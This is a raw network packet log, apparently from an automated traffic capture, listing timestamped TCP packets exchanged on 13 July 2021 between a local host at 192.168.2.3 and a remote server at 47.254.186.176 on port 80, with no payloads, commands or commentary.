Jul 13, 2021 14:37:54.881745100 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.881787062 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.881798983 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.881833076 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.881854057 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.881876945 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.881885052 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.881916046 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.881936073 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.881958008 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.881963968 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.881992102 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.881998062 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.882025957 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.882055998 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.882072926 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.882090092 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.882107973 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.882122040 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.882157087 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.882178068 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.882195950 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.882205963 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.882230997 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.882457972 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.882479906 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.882520914 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.882528067 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.882543087 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.882571936 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.882642031 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.882666111 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.882690907 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.882694006 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.882724047 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.882745028 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.882746935 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.882781029 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.882791042 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.882803917 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.882849932 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.882879019 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.882889032 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.882915974 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.882936001 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.882958889 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.882993937 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.882999897 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.883028030 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.883052111 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.883070946 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.883073092 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.883102894 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.883105040 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.883167028 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.883235931 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.883445024 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.883491993 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.883522034 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.883532047 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.883543015 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.883574963 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.883593082 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.883619070 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.883650064 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.883657932 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.883682013 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.883702993 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.883739948 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.883744001 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.883780956 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.883781910 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.883810997 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.883841038 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.883851051 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.883862972 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.883898973 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.883953094 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.883991003 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.884040117 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.884040117 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.884068966 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.884102106 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.884125948 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.884130955 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.884174109 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.884187937 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.884210110 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.884231091 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.884248972 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.884251118 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.884272099 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.884294033 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.884321928 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.884342909 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.884388924 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.884601116 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.884623051 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.884674072 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.887391090 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.888062954 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.888150930 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.888176918 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.888631105 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.888916016 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.894869089 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.895081043 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.895160913 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.895184040 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.895205021 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.895230055 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.895241022 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.895252943 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.895273924 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.895282030 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.895296097 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.895317078 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.895317078 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.895339012 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.895359993 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.895380974 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.895382881 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.895406008 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.895426989 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.895428896 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.895451069 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.895451069 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.895472050 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.895494938 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.895494938 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.895517111 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.895566940 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.895581007 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.895586967 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.895607948 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.895628929 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.895647049 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.895649910 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.895665884 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.895673990 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.895700932 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.895704031 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.895725012 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.895745993 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.895746946 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.895766973 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.895787954 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.895791054 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.895808935 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.895831108 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.895853043 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.895854950 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.895876884 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.895884991 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.895898104 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.895920038 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.895926952 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.895941019 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.895961046 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.895963907 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.895982027 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896003008 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896013975 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.896027088 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896039963 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.896055937 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896079063 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896100044 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896102905 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.896121025 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896141052 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896143913 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.896162987 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896183968 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896192074 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.896205902 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896229029 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896229982 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.896250010 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896270037 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896270990 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.896292925 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896310091 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.896313906 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896333933 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896353960 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.896354914 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896375895 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896399021 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896421909 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896440983 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.896441936 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896464109 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896485090 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896501064 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896503925 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.896521091 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896533012 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.896541119 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896559000 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.896562099 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896581888 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896601915 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896610975 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.896622896 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896636963 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.896644115 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896670103 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896692038 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896699905 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.896713018 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896734953 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896743059 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.896755934 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896764994 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.896775961 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896796942 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896816969 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896836996 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.896842003 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896863937 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896868944 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.896884918 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896905899 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896925926 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.896925926 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896946907 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896956921 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.896967888 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896987915 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.896995068 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.897011995 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.897030115 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.897033930 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.897054911 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.897075891 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.897083044 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.897104979 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.897125006 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.897126913 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.897147894 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.897165060 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.897170067 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.897190094 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.897208929 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.959839106 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.219944954 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.272430897 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.291423082 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.291445017 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.291456938 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.291472912 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.291589975 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.311156034 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.311180115 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.311192989 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.311208963 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.311273098 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.311275959 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.311289072 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.311295033 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.311312914 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.311330080 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.311343908 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.311377048 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.329250097 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.329272985 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.329288960 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.329305887 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.329329014 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.329336882 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.329360008 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.329400063 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.329416990 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.329428911 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.329468966 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.329484940 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.329499006 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.329502106 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.329555035 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.329600096 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.329617023 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.329669952 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.329727888 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.329792023 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.329813957 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.329843998 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.329886913 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.329952955 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.348337889 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.348364115 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.348421097 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.348426104 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.348474026 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.348490953 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.348510027 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.348529100 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.348551989 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.348570108 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.348573923 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.348615885 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.348642111 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.348659039 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.348690987 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.348723888 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.348824978 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.348851919 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.348879099 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.348910093 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.348968029 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.349008083 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.349020004 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.349035978 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.349055052 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.349078894 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.349100113 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.349121094 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.349139929 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.349205017 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.349209070 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.349225998 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.349261045 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.349315882 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.349333048 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.349379063 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.349383116 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.349400043 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.349427938 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.349450111 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.349502087 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.349550962 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.349570990 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.349587917 CEST	49757	80	192.168.2.3	47.254.186.176
